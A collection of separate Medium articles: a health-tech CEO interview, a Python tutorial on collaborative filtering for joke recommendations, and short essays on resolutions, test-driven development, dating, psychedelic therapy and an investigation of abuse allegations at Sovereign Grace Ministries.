David Genetti of Astarte Medical: 5 Things We Must Do To Improve the US Healthcare System | Thank you so much for doing this with us! Can you tell us a story about what brought you to this specific career path?
My degree is in Molecular Biology, but I have spent the bulk of my career building and running financial services technology companies. While fascinating and challenging, I felt compelled to return to my educational roots and put my experience to work in a way that can make a lifelong and profound impact on our most fragile patients, preemies. Helping babies thrive in the first 1,000 days is a career path that checks all of the boxes.
I have known the founder and CEO, Tracy Warren, for over 20 years and having the opportunity to join forces on an exciting and impactful project was a perfect fit for the next chapter in my career. We bring different elements to the table and are able to learn from each other on a daily basis.
Can you share the most interesting story that happened to you since you began leading your company?
It is a cumulative experience. We have been incredibly fortunate to speak with the brightest minds in our field. While there is convergence on how we should provide nutrition to our most fragile patients there is not a unified consensus. The amount of variability in the decision-making process and the application of the standard of care is incredibly interesting. We believe we can advance this with our analysis.
In many ways this is not surprising. Medicine is making fantastic advances in being able to allow babies born as early as 22 weeks gestational age to survive, but now need to help them thrive. This is ground breaking territory and the science behind how to feed this new category of patient is evolving as expected and we hope to provide solutions to support that evolution.
Being at the table as this discussion is taking place is definitely one of the most interesting things that has happened to me, not only since I began with Astarte, but possibly in my professional career.
Can you tell our readers a bit about why you are an authority in the healthcare field?
I am not a doctor, but I do have a scientific background as well as a technology background in highly regulated, complex industries, including healthcare. I believe that the future of healthcare is going to increasingly rely on cross functional solutions from diverse and talented contributors. The intersection of approaches that have proven effective in other industries and progressive medical practitioners will be a powerful movement.
What makes your company stand out? Can you share a story?
Astarte Medical is the only precision medicine company using software and predictive analytics to improve outcomes during the first 1,000 days of life, with an initial focus on preterm infants. NICUtrition® by Astarte Medical supports feeding protocols, practice and decision-making in the neonatal ICU with a suite of digital tools and diagnostics designed to standardize feeding, optimize nutrition and quantify gut health.
We are building one of the world’s largest libraries of poopy diapers — along with clinical data and sequencing. That is not something most companies can say.
Can you share with our readers about the innovations that you are bringing to and/or see in the healthcare industry? How do you envision that this might disrupt the status quo? Which “pain point” is this trying to address?
We are applying machine learning to the largest library of longitudinal microbiome sequencing data combined with clinical data factors to provide risk scores that can inform care givers and dramatically change the course of care and outcomes for the tiniest of babies. We are not taking care out of the hands of doctors and nurses; we are empowering them with insights that are only available through our technology. We are doing this without the need for sequencing in the clinic, resulting in real-time decision support at a greatly reduced price point. Simultaneously we are providing clinical tools to improve satisfaction and quality for patients, care givers and parents.
What are your “5 Things I Wish Someone Told Me Before I Started” and why.
This is my fourth start-up, so I had a pretty good idea what I was getting into, and to be clear, I joined a company that Tracy Warren and Tammi Jantzen had started. Having said that:
Just because you have started companies before doesn’t mean you’ll have all the answers. Every day I am reminded that I have a lot to learn, from those around me and from my routine mistakes. There is no place for smugness in the face of new challenges. Working with smart successful people also illuminates the shortcomings of some of the approaches I have taken for years. Be humble and open to learning new ways of tackling and solving problems and accept that there may be better techniques. Remain coachable. There is still a gender gap in VC and VC funding for women led companies — you’ll be surprised. I was surprised to see the depth of this gap having worked with strong female leaders and seen the impact of gender diversity in leadership throughout my career. Tracy and Tammi both had venture capital careers before launching Astarte Medical and have been successful in raising money. They are powerful forces and are actively changing that dynamic. I am fortunate to be teamed up with two successful and strong women, but I have now witnessed first-hand an ongoing gender gap in the VC and VC funding space. I may have been naïve coming into this company. As Tracy has said, no CEO or founder should have to lead with “I’m female” — focus on the business, the opportunity and commit to maintaining the same expectation of return that other (male-led) ventures aspire to. The field we are opening is even more fascinating than I thought — don’t get distracted. This is great on the one hand, but there are not enough hours in the day to chase down all of the exciting ideas we are generating. As some of our first sequencing data was coming out of analysis, we had to consciously control how deep we would let our team members that were not on that part of the project dive into the discoveries. The need to stay focused and keep the team focused in the face of exciting science and results will be an ongoing task that I did not anticipate having to tackle. My own curiosity requires self-discipline as well. When exciting things are happening in other groups, we can congratulate them, then get back to the tasks that need to be tackled. All Start-ups are not created equal. Many principles are universal — it is going to be hard work, long hours, and challenging problems that need to be tackled with limited resources. A small team all pulling in the same direction is a powerful force. There are also dramatic differences. Astarte is not only building software; we are also performing novel research in the lab. The combination of these two projects that seem diverse are actually coupled and that dynamic has created massive opportunity but also unique challenges. A clear need and a perfect solution are not enough. We have identified a clear medical need and have developed a perfect solution that routinely praised by practitioners and our potential customers. That is not enough, there are many hurdles that need to be cleared. You cannot settle for having solved the problem that you identified in your business plan. Execution requires fighting through an endless list of intermediate challenges that do not make it into the plan.
Let’s jump to the main focus of our interview. According to this study cited by Newsweek, the US healthcare system is ranked as the worst among high income nations. This seems shocking. Can you share with us 3–5 reasons why you think the US is ranked so poorly?
Interoperability is a big issue. We have mountains of electronic medical record data, but the ability to liberate it to allow for innovation is incredibly limited. Even within a single hospital system it can be a major challenge to effectively share data. Innovation is stifled when institutions do not have the capability or capacity to provide useful access to critical information in a timely fashion. The US market is dominated by a few players and there has been a successful effort to sequester the data within their silos. The current reimbursement system is primarily reactive — treatment as opposed to prevention. It also creates a system where a sick patient is now thrown into a financial quagmire in order to receive the treatment that is required, and the incentives to provide or deny that treatment are at odds with each other across stakeholders. Greater incentives for routine and preventive health measures will pay dividends. Quality of Care is not a primary driver. While there is a movement by some institutions and organizations putting an emphasis on quality it is not a universal driver in the current system. Our medical professionals are overburdened. The introduction of medical records systems held great promise. The results have been mixed. The need to “chart” effectively has been abdicated to technology that is not always effective. The burden of using some of these systems simply to record the basic data removes clinicians from the bedside for too long and does not result in better care and often does not result in better charting. There is a sense that adding traditional annotations or notes to the extensive clinical data that is required would be too much and the sense is that future shifts can simply look at the EMR data. Americans are bad patients. Medicine is intensely personal and when it comes to our own medical treatment or that of family members, cost is no option. Additional tests or treatments are often demanded. Clinicians are increasingly compensated by their institutions based upon patient satisfaction survey results. Denying a borderline diagnostic to a demanding patient may have a significant impact on that patient’s satisfaction. We like our bigger houses, our bigger cars and our bigger medicine more than most of the other countries in this report.
You are a “healthcare insider.” If you had the power to make a change, can you share 5 changes that need to be made to improve the overall US healthcare system?
Support Innovation — We have some of the brightest minds on the planet, but the barriers to entry for even moderate improvements through innovation solutions that can change healthcare are extremely high in the US. Mandate interoperability standards. The current state of data sequestration is unhealthy. We have worked with significant institutions where they did not have a resource on their team that was capable of navigating their own EMR data in a way to provide fairly simple data extracts for innovative projects and reporting. Bring the regulatory approval processes up to speed with technology. The regulatory machinery is well oiled for devices and pharmaceuticals, but Software as a Medical Device is still an immature field for regulatory bodies and once again creates a time and cost barrier to bringing new solutions to market. The amount of uncertainty creates a massive split between incredibly well financed, large organization and innovative small companies that could make a big impact if they had a clear roadmap to success. Return the power to practice medicine to the doctors and their patients, reimbursement rates and schemes are often prime drivers of treatments. Support this relationship with quality decision support tools. It has been demonstrated that standard protocols and check lists improve results. Clinical decision support takes this one step further by incorporating real time information to support a provider’s own training and intuition. It also can support conversations with patients regarding unnecessary treatments or diagnostics. This is a more effective technique than having to navigate the financial impact of a particular course of action. Focus on Quality care. The goal should be to provide the best quality care possible, and while I firmly believe that our medical professionals strive for this, the financial incentives are not always aligned and are occasionally directly opposed to this standard. You will get what you measure. If reimbursements are tied to length of stay, you will get increased length of stay. If payments are tied to outcomes, you will get better outcomes. Value based and risk sharing models have strong promise to help re-align incentives.
Thank you! It’s great to suggest changes, but what specific steps would need to be taken to implement your ideas? What can individuals, corporations, communities and leaders do to help?
We need to support and advance The Office of the National Coordinator for Health Information Technology. Most importantly we should be supporting, or even requiring that EMR providers make open accessible API’s actually available within the context of the HITECH Act. While many may claim that there are available, they are really claiming that they exist — access is a practical issue requiring financial commitments and a registration process that can take up to 18 months. The availability of useable API documentation is often hidden behind this process, making the art of “what is possible” for innovators a guessing game. Standardizing and publishing API documentation would go a long way towards allowing innovators to develop solutions that can improve outcomes, reduce cost, raise satisfaction levels and reduce burden on our clinicians.
What are your favorite books, podcasts, or resources that inspire you to be a better healthcare leader? Can you explain why you like them?
I am a big fan of not only scientific research, but also the history of science itself. Understanding those that made breakthroughs in the past is inspiring. The drive, tenacity, and genius, that they applied to the problems of their times, often in the face of opposition and adversity, serves as a tremendous source of inspiration. I recently introduced my son to an old favorite, Longitude, by Dava Sobel, which is fantastic history of one scientist’s 40-year quest to solve a complex scientific problem in the face of political and mechanical challenges. We need to continue to challenge the status quo and not give up when the rest of the world appears to be opposed to our ideas. | https://medium.com/authority-magazine/david-genetti-of-astarte-medical-5-things-we-must-do-to-improve-the-us-healthcare-system-5636acec61b0 | ['Carly Martinetti'] | 2020-12-23 13:18:12.097000+00:00 | ['Healthcare Technology', 'Startup', 'Wellness', 'Healthcare', 'Leadership'] |
User-User Collaborative Filtering For Jokes Recommendation | Let’s dive in detail and look at various configuration points for each step.
Data Normalization
Ratings are highly influenced by the scale of individuals. Some individuals are kind-hearted while rating and tend to rate high, whereas others are just cold-hearted and tend to give medium ratings for good content. Normalization is one way to compensate for such a user's behavior by adjusting the scale of rating to be comparable or on the same level to other user’s ratings.
One simple technique to normalize the ratings is to subtract the rating average of each user from their ratings.
Here is the python implementation of the normalization.
def normalization(dataframe):
dataframe_mean = dataframe.mean(axis=1)
return dataframe.subtract(dataframe_mean, axis = 'rows')
Let’s implement this method for the jokes dataset. For demonstration purposes, we will select ratings by 10 users for the first 10 jokes.
Source: Image by author
We can also implement other configurations at the normalization step.
Z-score is another possible way to normalize the rating data where the normalized value tells about how many standard deviations from the mean our score is.
Computing Similarity
Similarity computation between users is the main task in collaborative filtering algorithms. The similarity between users ( also known as the distance between users) is a mathematical method to quantify how different or similar users are to each other. For a User-User CF algorithm, similarity, sim ₓᵧ between the users x and y who have both rated the same items is calculated first. To calculate this similarity different metrics are used. We will be using correlation-based similarity metrics to compute the similarity between user x and user y, sim ₓᵧ using Pearson correlation
The choice of Pearson correlation makes sense as similarity metrics as rating data for each user tend to be normally distributed. Like other correlation coefficients, this one varies between -1 and +1 with 0 implying no correlation. Correlations of -1 or +1 imply an exact linear relationship. Positive correlations between user x and user y imply that if user x has rated a joke as positive, there is a very high chance that user y will also rate positively to the same joke.
Here is the python implementation of the Pearson Correlation using scipy package.
def similarity_pearson(x, y):
import scipy.stats
return scipy.stats.pearsonr(x, y)[0]
Now we implement the above-mentioned method to find Pearson similarity for the ratings dataset. Please note that here we are evaluating similarity using the ratings dataset and not by normalized ratings dataset because the Pearson Correlation method takes care of the normalization step!
Source: Image by author
We can also implement other configurations at the similarity computation step.
Cosine Similarity is another possible configuration to compute similarity among two users by computing the cosine of the angles between two rating vectors and determining whether both vectors are pointing in the roughly same direction. Cosine similarity is one often used to measure document similarity in text analysis.
Selecting Neighbours
User-User collaborative filtering (UUCF) approach heavily relies on active user neighborhood information to make predictions and recommendations. Neighborhood selection can either make or break the recommendation for an active user and can have a direct bearing on the rating prediction and item recommendation.
Currently, any commercial recommendation system has a very large number of users, thus the neighborhood must be composed of the subset of the users if the recommendation system wants to guarantee an acceptable response time.
The figure below shows four traditional approaches to select neighborhoods.
Source: Image by author
Use all dataset when the dataset is very small Select dataset when similarity score is above certain threshold Select top N dataset by similarity score Select a similar cluster using a clustering method like K-Mean
We will be using the threshold approach to select neighborhoods for an active user. Let’s designate the user at index 2 as our active user.
Image by author
The active user has read only 4 out of 10 jokes, so we will find out, which joke out of the remaining 6 will be the best recommendation for the active user.
Let’s select a threshold of 0.1 or above to filter out the neighbors.
Here is the python implementation to find similar neighbors using the threshold method. Here “sim” implies for similarity array of pandas series type.
def neighbours(sim):
return [sim.index[i] for i, v in enumerate(sim) if v>=0.1]
Here is the screenshot of the similarity array for our active user. Please ensure to drop active user’s own similarity to itself before working.
Source: Image by author
We will be implementing the “neighbors” method for the similarity array.
Image by author
As evident from the screenshot above, here only users with index 3, 4, 6, 9 qualify to be neighbors.
But in any commercial recommendation system that has a very large number of data, we may end up with a large number of neighbors if we go with the threshold method. So the question arises, how many neighbors?
Theoretically speaking, the more the better, if we have a good similarity matrix. But practically, noise from dissimilar neighbors decreases usefulness. if we mix a lot of low similarity neighbors then the difference from target user can start to degrade the quality of the recommendation. Between 25–100, high similarity neighbors are often used in practical and commercial recommendation system.
Scoring Items
Scoring items using the neighborhood ratings is at the very core of making a collaborative filtering model. The weighted average is one of the most common methods to construct such a scoring system. We will be using weighted average to compute scoring for our items.
The first step is to select only those items which hadn’t yet been rated by the active user
Image by author
In our case, it’s joke_1, joke_2, joke_3, joke_4, joke_9, and joke_10. Since the remaining four jokes are already rated, we won’t score those items.
Below is the screenshot of the neighbor_rating and neighbor_similarity pandas dataframe. We will these two dataframes and ratings dataframe to create scores for each joke. Note that here we are using the normalized rating dataframe for finding neighbor_rating.
Source: Image by author
Here is the python implementation to calculate the score of the items.
def score_item(neighbor_rating, neighbor_similarity, ratings ):
# aumr -> active user mean rating
aumr = np.mean(ratings.iloc[2, :])
score = np.dot(neighbor_similarity, neighbor_rating) + aumr
data = score.reshape(1, len(score))
columns = neighbor_rating.columns
return pd.DataFrame(data = data , columns = columns)
We will implement “score_item” method to find the score of all the jokes.
Source: Image by author
Here, it’s clearly visible that joke_2 have the highest score, and joke_4 have the lowest.
Items Selection
Once the item scoring is decided, the item with the maximum score will be the best recommendation. Thus in our case, joke_2 will be the most suited recommendation to our active user.
Recommend Joke 2 to our active user
However, there is a high chance that by using this method the recommendation may saturate to just a few recommendations every time. This may lead to a degrade of recommendation quality.
One simple solution to this problem is to take top n positively scored items and randomly recommend one of those.
Pitfalls of User-User Collaborative Filtering
User-User Collaborative Filtering systems have been very successful in the past, but their widespread use has revealed some real challenges. Let’s discuss briefly the four key challenges of using such a system:
Cold-Start :
If a user is new, its similarity with other users cannot be calculated as the system may not have any form of data on this new user.
Scalability :
As the number of users or items began to increase, then the user-user collaborative filtering suffers a drop in performance due to the growth in similarity computation.
Data Sparsity:
With large item sets, a small number of ratings, often there are situations where no proper recommendation can be made for the user.
Influencing:
An organization or person can deliberately manipulate prediction that gets made for others by creating multiple civil accounts and putting fake ratings.
Conclusion
User-User Collaborative Filtering approach is the most commonly used and studied technology for making recommendations and has been widely adopted across the industry. The core concept behind this approach is that “similar users tend to have similar tastes.”
In this blog, we have presented the UUCF approach and its practical application on the jokes recommendation using 5 step process. We have also shown the possibility of varieties of configuration points at each of these steps.
At many of these steps, we didn’t choose the best result but a more random choice out of the acceptable choices. This is the main irony of the recommendation system as we don’t look for the best result and a bit of randomness is always welcomed by the user and is necessary otherwise the whole experience becomes monotonous.
References | https://towardsdatascience.com/user-user-collaborative-filtering-for-jokes-recommendation-b6b1e4ec8642 | ['Abhijeet Anand'] | 2020-10-03 18:40:40.885000+00:00 | ['User Based Cf', 'Data Science', 'Collaborative Filtering', 'Recommendation Engine', 'Python'] |
The one about resolutions | I don’t like new year’s resolutions. Perhaps it was the rebel inside of me who doesn’t want to follow the herd. Or perhaps I wanted to avoid comparing myself with others who were setting lofty resolutions like running marathons or taking over the world while mine seemed normal.
So I had an idea.
Why don’t I set my new year’s resolution earlier? Instead of January 1, try for October 1? That’s right. Three months before the year starts. This way, you get a head start (and who doesn’t like to have a head start).
Last year, I decided to learn a new language — Spanish (on top of my weekly Vietnamese lessons). I’ve always enjoyed Latin American music and had initial plans to do a major trip throughout South America (Of course, these plans were cancelled due to COVID).
This started with learning Spanish on my own on Duolingo (terrible idea) and then moving to 1-on-1 private lessons on iTalki. And when COVID hit, I decided to tack on Mandarin and then Cantonese. Because why not?
Admittedly, this is a bit extreme but it soon became a weird experiment to see if I can adapt to speaking multiple languages at the same time, and on some days, speaking two or three languages back to back.
This also required waking up at ungodly hours of the morning. Trust me, I tried 4:30 am and had to move it later.
This was a struggle at first, but knowing that there was someone waiting for me forced me to wake up. I even started to enjoy these early mornings despite being a night owl my entire life and this became a new habit.
Today, I’m proud to say that I’ve kept up this resolution. While my Spanish is still a work in progress (¿hablas español?), knowing that I am able to stick to something for an entire year and grind through early morning lessons or language chats is priceless.
Maybe resolutions aren’t so bad after all … provided that they start in October of course. | https://medium.com/@stevennogo/the-one-about-resolutions-952f6a713f22 | ['Steven Ngo'] | 2020-10-01 15:34:43.356000+00:00 | ['Resolutions', 'New Year', 'Growth', 'Life'] |
Test Driven Development (TDD) | The benefit of using TDD approach :
Safer Refactoring
Once you’ve got a test passing, it’s then safe to refactor it, secure in the knowledge that the test cases will have your back. If you’re having to work with legacy code, or code that someone else has written, and no tests have been written, you can still practice TDD. You needn’t have authored the original code in order for you to TDD. Rather than thinking you can only TDD code that you have written, think of it more as you can only TDD any code you are about to write. So if you inherit someone else’s untested code, before you start work, write a test that covers as much as you can. That puts you in a better position to refactor, or even to add new functionality to that code, whilst being confident that you won’t break anything.
Fewer Bugs
TDD results in more tests, which can often result in longer test run times. However, with better code coverage, you save time down the line that would be spent fixing bugs that have popped up and need time to figure out. This is not to say that you might be able to think of every test case, but if a bug does come up, you can still write a test first before attempting to fix the problem, to ensure that the bug won’t come up again. This also helps define what the bug actually is, as you always need reproducible steps.
Increasing Returns
The cost to TDD is higher at first, when compared to not writing any tests, though projects that don’t have tests written first usually end up costing more. This stems from them not having decent test code coverage, or any at all, making them more susceptible to bugs and issues, which means more time is spent in the long run fixing those. More time equals more money, which makes the project more expensive overall. Not only does TDD save time on fixing bugs, it also means that the cost to change functionality is less, because the tests act as a safety net that ensure your changes won’t break existing functionality.
References: | https://medium.com/@yudhistiro.agung/test-driven-development-tdd-beb5d3564c3b | ['Yudhistiro Agung N'] | 2019-06-17 01:55:52.134000+00:00 | ['Typescript', 'Jest', 'Tdd'] |
Should I Confess My Feelings To Her? Notice This! | Should I confess my feelings to her?” or “What is the best way to show a woman that I like her?” — These questions come up again and again in the comments and emails I receive.
The big mistake here is that many men think they will trigger feelings in the woman if they confess their own feelings to her. In most cases, such a confession only drives the woman further away from the man, even if she first had tender feelings for him!
Why is that?
Basically, you cannot awaken feelings in a woman if there is no basis! If she has only seen you as a good friend for years or if you are one of her admirers, it will be difficult or even impossible.
Nor can you trigger feelings in her by confronting her with your feelings. We only believe this because Hollywood films and fairy tales always tell us so!
This means that before you tell a woman that you like or love her, you should be pretty sure that she likes you a lot!
So what can you do if you are in love and want to awaken or strengthen feelings in a woman? | https://medium.com/@ttaylorshaw/should-i-confess-my-feelings-to-her-notice-this-97de9bb34887 | ['Taylor Shaw'] | 2020-12-20 12:07:45.032000+00:00 | ['Relationships', 'Confessions', 'Feelings', 'Falling In Love', 'Love'] |
An Insight Into The Emerging Psychedelic-Assisted Therapy | “The MDMA assisted therapy allowed me to communicate the truth of my experience while remaining connected to my therapist.” Those were the words of Elizabeth Matthews, in the MAPS Bulletin Annual Report, when she talked about her experience with dealing with a long-lasting PTSD. “Before MDMA,” she argued, “I couldn’t tell my story without being rocked for days by the shame that surfaced in the telling.”
Psychedelics have become a hot topic in the past few years. Due to this fact, today, dozens of personal stories and scientific studies about the effects, both negative and positive, of substances such as LSD, MDMA, DMT, psilocybin, and ayahuasca, have flooded the world of the Internet. Although national news outlets are still not really keen on such topics, people still get their hands on the information they need.
Hallucinogens are currently seen as something people should avoid at all costs. Psychedelics research started all the way back in the ‘50s and ‘60s, however, the efforts stopped in the early years of the ‘70s, as the media outlets back then deemed the substances as dangerous for the people. This all ultimately resulted in restrictive regulations and misperceptions of the actual effects.
Until recent years, they had been seen as extremely potent and unpredictable — thus dangerous — by the wide public. As these substances, in the past, were used mainly during “large gatherings of people, where everyone is as high as a kite” — as one of my friends prefers to put it — today, the situation has changed dramatically.
As information about psychedelics becomes more easily accessible, mainly because of the Internet, so does the knowledge of the people of it. More scientific studies by renowned bodies would mean that more and more insights into the substances’ actual effects. With more knowledge better understanding, hence more acceptance.
Psychedelics are no longer seen as something “shady.” Rather, many people have started realizing there is more to the drugs than their “party effects” — Psychedelics-Assisted Psychotherapies have started to emerge; and the forecast is that they are here to stay. | https://medium.com/illumination/an-insight-into-the-emerging-psychedelic-assisted-therapy-1055256d476c | ['Viktor Marchev'] | 2020-12-11 14:07:49.288000+00:00 | ['Psychedelics', 'Neuroscience', 'Therapy', 'Mental Health', 'Psychology'] |
Together for the Go$pel. Sexual abuse, lies, and power | Together for the Go$pel
Amid backlash, evangelical leaders are finally acknowledging sexual abuse — but not a high-profile preacher allegedly facilitating it. Why?
Illustration: Glenn Harvey
“Silence in the face of evil is itself evil: God will not hold us guiltless. Not to speak is to speak. Not to act is to act.”
— Unknown, frequently attributed to Dietrich Bonhoeffer
One afternoon in late 2014, a friend told me that he’d been blocked on Twitter by The Gospel Coalition.
The sheer power and influence that The Gospel Coalition (TGC) holds is mind-boggling. The group is an online evangelical juggernaut that was co-founded by Tim Keller, a popular New York City pastor, respected by liberal and conservative Christians alike.
TGC’s online articles — which cover anything from Christian living to Bible and theology — generated 74.8 million page views in 2016. The group’s 2017 conference drew 10,000 attendees, paying roughly $200 a ticket.The TGC council boasts some of the most influential leaders in modern evangelicalism, including Al Mohler, Russell Moore, David Platt, and John Piper. We’re not talking about small fish. We’re talking about an organization with the financial means and influence to do whatever the hell it pleases.
So, if you’re Goliath, why block the ant on Twitter?
Intrigued, I asked my friend what he’d done to incur the wrath of TGC. “I asked them why they’ve been silent about the Sovereign Grace Ministries sexual abuse case. I told them we should listen to the victims.” Shrugging, he continued, “They seem to protect their buddies involved in the case and blocked me for asking. Blocked a ton of other people, too.”
Curious, I opened Twitter and found a number of users who had used the hashtag #IStandWithSGMVictims and then reported being blocked by TGC’s account. Over the next few years, this would become a common response from the organization whenever it was faced with questions about its practices, or criticized for posting articles like this one: “When God Sends Your White Daughter a Black Husband.”
“What happened at Sovereign Grace?” I mumble as I continue to scroll through tweets.
My friend waits until I look up from my phone. His face shows genuine concern. “How deep down the rabbit hole do you want to go?”
Down the Rabbit Hole
The Gospel Coalition was once home to a charismatic preacher named C.J. Mahaney and his protégé, Joshua Harris. These two men served on TGC’s council while simultaneously leading a sprawling association of churches named Sovereign Grace Ministries (SGM), now renamed Sovereign Grace Churches (SGC).
Sovereign Grace’s origin story begins in the early 1970s when Mahaney, then a twentysomething, long-haired hippie, wandered into an evangelical prayer meeting led by evangelist Larry Tomczak. Mahaney became a born-again Christian, and soon he and Tomczak began attracting large crowds. By 1982, the two men had opened several churches that eventually became SGM. Tomczak left the church in the late 1990s after a falling out with Mahaney, but his departure didn't slow SGM’s momentum. Instead, Mahaney rose to prominence in evangelical circles and became close friends with several influential council members of both TGC and the famed Southern Baptist Convention (SBC), a fellowship of over 47,500 Baptist churches in the United States and its territories.
While I had never heard of SGM churches before my friend named them in a sexual abuse scandal, I knew of C.J. Mahaney. When I became a Christian in 2008, I looked to TGC as a source of information, discovering all kinds of up-and-coming “celebrity” pastors. Their neo-Calvinist views and machismo were alluring to an impressionable young combat veteran like myself, and I often listened to sermons by Mahaney, though without knowing the name of his association of churches (SGM). Over time, I became disillusioned by the callous nature of some of the pastors at TGC — Mahaney included — so I distanced myself. Several of their sermons involved yelling at men, patronizing women as sexual vixens, and allowed little to no dissent or discussion around minor biblical issues. Now, I found myself once more in their grips — this time, as a shocked observer.
Pastor C.J. Mahaney | Photo by Timcornels via Wikimedia Commons
My curiosity drove me to read report after report, online. I found a few websites that compiled allegations of sexual abuse like SGM Survivors and SGM Refuge (the latter has since shut down). On the sites, allegations from former parishioners described rampant sexual abuse and subsequent cover-ups by church officials. The stories allege that church officials told victims not to report their abuse to law enforcement. Officials allegedly made the abusers and victims (often a child, sometimes as young as three years old) reconcile, and reminded the parent’s victims of the Bible passage telling them, “Do not take believers to court.”
The biggest blow to SGM came in 2012, when a former youth group leader named Nathaniel Morales was arrested and tried in Maryland for child sexual abuse. During Morales’s time volunteering and singing at Covenant Life Church — SGM’s main campus — he sexually assaulted three teenage boys and, later, allegedly assaulted two of his stepsons, according to his ex-wife, with whom I spoke. He would target the boys during church sleepovers in which they would wake up to Morales fondling or orally raping them. During Morales’s trial, the defense attorney questioned Grant Layman, a pastor on staff and Mahaney’s brother-in-law. Here’s a segment of the cross-examination:
Defense Counsel Alan Drew: “Did you have a responsibility as a pastor, when you become aware of sexual child abuse, did you have a responsibility to report that to the police department? That is a yes or no.” Grant Layman: “I believe so.” Drew: “And you didn’t do it.” Layman: “No, sir.”
Each time Layman was questioned regarding the church’s knowledge of the sexual abuse and whether they reported the incidents — ranging as far back as the 1980s — to the police, his answer remained the same: No, they did not. In 2014, Morales was convicted and sentenced to 40 years in prison. However, the civil suit that family members brought against Mahaney and SGM was thrown out due to Maryland’s statute of limitations. No official proceedings ever took place to determine whether there had been a cover-up, despite Grant Layman’s court testimony.
Once the backlash against Mahaney and SGM reached a crescendo — two years after the events were made public — Mahaney denied the allegations, stating:
“I have never conspired to protect a child predator, and I also deny all the claims made against me in the civil suit.”
Mahaney and his protégé, Joshua Harris, resigned from the Gospel Coalition’s Council. The Gospel Coalition, in turn, continued to block the men and women now demanding answers on social media.
Whistleblowers
“How’d you find out about me?”
Brent Detwiler’s voice is whimsical and calm when we connect over the phone. According to some, he’s a bitter, self-serving board member who was ousted from C.J. Mahaney’s church. According to others, he’s a whistleblower who bravely challenged a system of abuse. I wasn’t sure what to think of Detwiler, but the evidence he compiled over the years regarding SGM, subsequent cover-ups, and fraudulent activity was extensive.
Detwiler’s knowledge of Sovereign Grace goes back several years, as he was one of its original leaders. He served as a pastor and on their board of elders, remaining a close friend to Mahaney from 1974 until 2009. Over time, he says he noticed patterns in Mahaney’s behavior that disturbed him, which included: deceit, the illegal use of funds, fraud, and, after he left SGM, the cover-up of sexual abuse.
Following Matthew 18, which describes the steps Christians take toward reconciliation, he first approached Mahaney privately. (C.J. Mahaney didn’t respond to two requests for comment.) When it became clear nothing was changing, Detwiler involved other church leaders. As more time passed, Detwiler compiled 600 pages of emails and ministry documents that he sent to the board and fellow pastors. After he was ousted from the church, Detwiler posted, online, what became known as “The Documents.” Tens of thousands of people have now read this paper trail. A representative from Sovereign Grace said the following of the documents: “We cannot verify the precise nature of all the information Brent Detwiler has provided SGC. He has publicly disseminated large volumes of documents, accusations, slander, and misinformation.”
I tell Detwiler how my friend’s Twitter blocking led me to him. Then I ask him whether C.J. Mahaney was lying.
“Absolutely… and I can back up that claim up with documentation. In an affidavit I filled out, there were 14 exhibits that included emails between C.J. and the victims,” Detwiler tells me. “He was extensively involved in counseling at least some victims and was completely aware of the situation.”
Detwiler isn’t the only one claiming Mahaney was involved with church victims of sexual abuse — several victims have also spoken out. I took the following screen capture from the Wartburg Watch, a Christian watchdog organization. The organization has been working with SGM victims for several years, in addition to helping other sexual abuse victims from churches across the U.S.
I spoke with Dee Parsons, one of the founders of the Wartburg Watch. Like Detwiler, Parsons stated there’s “no way” Mahaney is telling the truth.
“The way Mahaney handled a friend of mine whose child had been a victim at his church was downright bizarre,” Parsons told me. Mahaney and the church leaders urged her friend not to go to the police, but the couple reported the incident anyway. Once Mahaney learned the family was pursuing legal action, he called them into his church office.
“The entire time they were in the office the whole situation was weird. When Mahaney asked what would happen next, they reported there would probably be a subpoena. They told me he kept saying ‘SUB-PEEN-AH? What is a SUB-PEEN-AH?’ They think he was trying to get more information regarding the case, but then once their meeting concluded he [Mahaney] gave them a gift certificate to a steakhouse for like $100.”
“Was he trying to buy them off with a gift card?” I asked, perplexed.
Parsons laughed. “Oh honey, he has a history of buying off his buddies. Just follow the money. That’s why [other prominent pastors] absolutely refuse to say anything or investigate the claims.”
Together for the Go$pel
When the SGM scandal broke, and those supporting the victims took to Twitter, influential leaders among the Gospel Coalition and the Southern Baptist Convention came out in overwhelming support for C.J. Mahaney. Evangelical leaders Don Carson, Kevin DeYoung, and Justin Taylor penned an article on TGC’s website entitled, “Why We Have Been Silent About the SGM Lawsuit.”
The article calls the claims against Mahaney and SGM a “conspiracy theory,” and states that the victims’ claims are “object of libel and even a Javert-like obsession by some.” Never once do the evangelical leaders address the actual evidence.
Other leaders also stepped forward to support Mahaney. Influential evangelical pastor and author of Desiring God, John Piper, backed him, as did key leaders within the Southern Baptist Convention. That list also includes:
Al Mohler, President of the Southern Baptist Theological Seminary. Mohler has been described as “one of America’s most influential evangelicals.”
Mark Dever, Senior Pastor of Capitol Hill Baptist Church and the president of 9Marks.
Ligon Duncan, Chancellor/CEO of Reformed Theological Seminary.
Denny Burk, President of the Council on Biblical Manhood and Womanhood/Professor of Biblical Studies at Boyce College (which is part of Southern Baptist Theological Seminary).
Medium reached out to the above individuals to confirm whether they still support Mahaney and received no response.
During my time in the military and intelligence communities, friends and analysts would remark that “there’s no such thing as classified information anymore. It’s all available online or through someone. You just have to piece the puzzle together.” Taking that approach, I followed the money trail connecting Mahaney to his supporters.
Following a money trail at a church like SGC is difficult because, unlike other 501(c)(3) organizations, churches, synagogues, and mosques are not required to file 990 reports. A form 990 provides the public with financial information about a nonprofit organization, which prevents the nonprofit from abusing their tax-exempt status. While nonprofit 501(c)(3) organizations — even those with religious affiliations — are required to disclose this information, many churches keep their books “closed.”
Detwiler confirmed what Parsons told me: Mahaney made a habit of “buying off his friends.” When I asked why powerful men like Al Mohler and John Piper continued to support Mahaney, Detwiler laughed, “Well, that’s because they’re all in Mahaney’s back pocket.” Detwiler told me that Mahaney made a habit of doubling his friends’ honoraria (speaking fees) while also providing them with lavish hotels, flight arrangements, new computers, and other gifts. He also claimed Mahaney’s salary was close to $200,000 in 2006, when Detwiler was still a voting member of the board, and that this salary was paid in addition to a housing parsonage. A housing parsonage allows ministers, rabbis, and imams to claim tax exemption on certain aspects of their home, like their mortgage, utilities, and homeowners association (HOA) dues. Most use it so they can take lower salaries or survive in high cost-of-living environments, but some abuse the exemption and build mansions. Several evangelical leaders — like Mahaney — also receive royalties from book deals and speaking fees that can land them on Christian bestseller lists. There’s no telling where the ceiling is when a church refuses to release financial information to the public. Sovereign Grace executives confirmed, in a phone call, that Mahaney received a housing parsonage, but could not confirm nor deny his salary.
